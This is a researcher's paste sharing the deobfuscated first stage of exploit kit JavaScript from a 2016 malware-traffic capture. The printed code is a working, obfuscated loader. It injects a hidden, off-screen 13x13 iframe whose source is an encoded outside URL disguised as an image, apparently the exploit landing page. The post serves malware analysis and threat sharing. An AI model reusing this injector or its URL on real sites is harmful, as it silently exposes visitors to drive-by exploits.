Neonprimetime

Deofsucated 1st layer Exploit Kit Javascript from Malware Tr

Jun 3rd, 2016
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  1. Deofsucated 1st layer Exploit Kit Javascript from Malware Traffic analysis
  2. http://www.malware-traffic-analysis.net/2016/06/02/index.html
  3. original javascript posted here http://pastebin.com/KrvFUf5W
  4.  
  5. *****
  6. Below is the resulting output of the last statements in the mentioned javascript
  7.  NLxwWpg = new Function(vrDCFrjI(MTEzMzMzNTAxOQ, Mjk2MjkxMDI1MQ));
  8.  NLxwWpg();
  9. *****
  10.  
  11. function MjE4Mzk3MzYzNw() {
  12.     Sgjb6 = '\u006e' + '\u0061' + '\u0076' + '\u0069' + '\u0067' + '\u0061' + '\u0074' + '\u006f' + '\u0072';
  13.     Sgjb5 = '\u0064' + '\u006f' + '\u0063' + '\u0075' + '\u006d' + '\u0065' + '\u006e' + '\u0074';
  14.     Sgjb7 = window;
  15.     Sgjb8 = document;
  16.     Sgjb9 = Sgjb7[Sgjb5];
  17.     Sgjb = '\u0073' + '\u0072' + '\u0063';
  18.     FIMrs = '\u0069' + '\u0066' + '\u0072' + '\u0061' + '\u006d' + '\u0065';
  19.     RbGEGsI = '\u0063' + '\u0073' + '\u0073' + '\u0054' + '\u0065' + '\u0078' + '\u0074';
  20.     vBiNhRC = '\u0067' + '\u0065' + '\u0074' + '\u0045' + '\u006c' + '\u0065' + '\u006d' + '\u0065' + '\u006e' + '\u0074' + '\u0073' + '\u0042' + '\u0079' + '\u0054' + '\u0061' + '\u0067' + '\u004e' + '\u0061' + '\u006d' + '\u0065';
  21.     WvVBTR = '\u0062' + '\u006f' + '\u0064' + '\u0079';
  22.     MAx = '\u0077' + '\u0069' + '\u0064' + '\u0074' + '\u0068';
  23.     gUtk = '\u0068' + '\u0065' + '\u0069' + '\u0067' + '\u0068' + '\u0074';
  24.     BUMx = '\u0061' + '\u0070' + '\u0070' + '\u0065' + '\u006e' + '\u0064' + '\u0043' + '\u0068' + '\u0069' + '\u006c' + '\u0064';
  25.     PzmfZG = '\u0063' + '\u0072' + '\u0065' + '\u0061' + '\u0074' + '\u0065' + '\u0045' + '\u006c' + '\u0065' + '\u006d' + '\u0065' + '\u006e' + '\u0074';
  26.     Sgjb0 = '\u0073' + '\u0074' + '\u0079' + '\u006c' + '\u0065';
  27.     Sgjb1 = '\u0031' + '\u0033';
  28.     Sgjb2 = Sgjb1;
  29.     Sgjb3 = '\u0070' + '\u006f' + '\u0073' + '\u0069' + '\u0074' + '\u0069' + '\u006f' + '\u006e' + '\u003a' + '\u0061' + '\u0062' + '\u0073' + '\u006f' + '\u006c' + '\u0075' + '\u0074' + '\u0065' + '\u003b' + '\u006c' + '\u0065' + '\u0066' + '\u0074' + '\u003a' + '\u002d' + '\u0031' + '\u0036' + '\u0035' + '\u0038' + '\u0070' + '\u0078' + '\u003b' + '\u0074' + '\u006f' + '\u0070' + '\u003a' + '\u002d' + '\u0031' + '\u0036' + '\u0036' + '\u0038' + '\u0070' + '\u0078';
  30.     Sgjb4 = Sgjb9[PzmfZG](FIMrs);
  31.     Sgjb4[MAx] = Sgjb2;
  32.     Sgjb4[gUtk] = Sgjb2;
  33.     Sgjb4[Sgjb0][RbGEGsI] = Sgjb3;
  34.     Sgjb4[Sgjb] = '\u0068' + '\u0074' + '\u0074' + '\u0070' + '\u003a' + '\u002f' + '\u002f' + '\u0073' + '\u0074' + '\u0072' + '\u0061' + '\u0063' + '\u0068' + '\u0075' + '\u0062' + '\u0065' + '\u0064' + '\u0061' + '\u0062' + '\u0062' + '\u006c' + '\u0069' + '\u006e' + '\u0067' + '\u002e' + '\u0074' + '\u0068' + '\u006f' + '\u006d' + '\u0070' + '\u0073' + '\u006f' + '\u006e' + '\u0073' + '\u002d' + '\u006f' + '\u006e' + '\u006c' + '\u0069' + '\u006e' + '\u0065' + '\u002e' + '\u0063' + '\u006f' + '\u002e' + '\u0075' + '\u006b' + '\u002f' + '\u0059' + '\u0078' + '\u0075' + '\u005a' + '\u0059' + '\u0052' + '\u002f' + '\u0072' + '\u0054' + '\u006b' + '\u004e' + '\u006e' + '\u004c' + '\u0055' + '\u002f' + '\u0066' + '\u004f' + '\u0068' + '\u0058' + '\u0058' + '\u006a' + '\u0070' + '\u0065' + '\u0059' + '\u002f' + '\u0030' + '\u0030' + '\u0037' + '\u0035' + '\u0037' + '\u002f' + '\u0073' + '\u0064' + '\u006d' + '\u006d' + '\u0054' + '\u0071' + '\u0062' + '\u0077' + '\u0064' + '\u0078' + '\u002d' + '\u0030' + '\u0039' + '\u0032' + '\u0036' + '\u0032' + '\u0030' + '\u002d' + '\u007a' + '\u006b' + '\u0062' + '\u0067' + '\u0072' + '\u0077' + '\u0068' + '\u0069' + '\u002e' + '\u006a' + '\u0070' + '\u0067';
  35.     Sgjb9[vBiNhRC](WvVBTR)[0][BUMx + ''](Sgjb4)
  36. }
  37.  
  38. function ldNRgDCf() {
  39.     var FIMrs0 = setTimeout;
  40.     var FIMrs1 = document.body;
  41.     return (!FIMrs1 ? FIMrs0(ldNRgDCf, 10) : MjE4Mzk3MzYzNw());
  42. }
  43. ldNRgDCf();
  44.  
  45.  
  46.  
  47. *******
  48. *******
  49. *******
  50. More FROM @neonprimetime security
  51.  
  52. http://pastebin.com/u/Neonprimetime
  53. https://www.virustotal.com/en/USER/neonprimetime/
  54. https://twitter.com/neonprimetime
  55. https://www.reddit.com/USER/neonprimetime
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